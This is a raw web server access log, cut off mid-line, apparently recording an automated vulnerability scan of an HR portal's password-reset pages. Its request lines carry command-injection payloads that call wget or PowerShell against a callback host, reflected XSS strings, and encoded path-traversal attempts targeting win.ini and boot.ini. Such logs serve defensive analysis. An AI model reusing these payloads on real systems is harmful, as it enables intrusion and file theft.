[05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/redirect.php?scriptname=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D241&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D241&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/><%00script>alert(242) HTTP/1.1" 200 6726 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/><%00script>alert(242) HTTP/1.1" 200 6726 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=C:\\boot.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini%00.html HTTP/1.1" 200 6848 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini%00.html HTTP/1.1" 200 6848 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/essess/includes/ESN0000_1_DB.php HTTP/1.1" 404 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/essess/includes/ESN0000_1_DB.php HTTP/1.1" 404 234 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=AiframeB HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=AiframeB HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3C%00script%3Ealert%28243%29%3C%2Fscript%3E HTTP/1.1" 200 6726 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3C%00script%3Ealert%28243%29%3C%2Fscript%3E HTTP/1.1" 200 6726 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%27%22&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%27%22&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini%00.html HTTP/1.1" 200 6850 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini%00.html HTTP/1.1" 200 6850 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D244&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D244&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D244&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%27%22%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%27%22%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=AiframeB" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Ciframe+src%3Djavascript%3Aalert%28245%29+ HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Ciframe+src%3Djavascript%3Aalert%28245%29+ HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%27%22&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%27%22%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSablcprobepa00000Eab HTTP/1.1" 200 6694 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSablcprobepa00000Eab HTTP/1.1" 200 6694 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Ciframe+src%3Djavascript%3Aalert%28246%29%3E HTTP/1.1" 200 6726 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Ciframe+src%3Djavascript%3Aalert%28246%29%3E HTTP/1.1" 200 6726 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=file:///../../../../../../../../../../../../windows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwinnt%2Fwin.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwinnt%2Fwin.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D247&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D247&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET 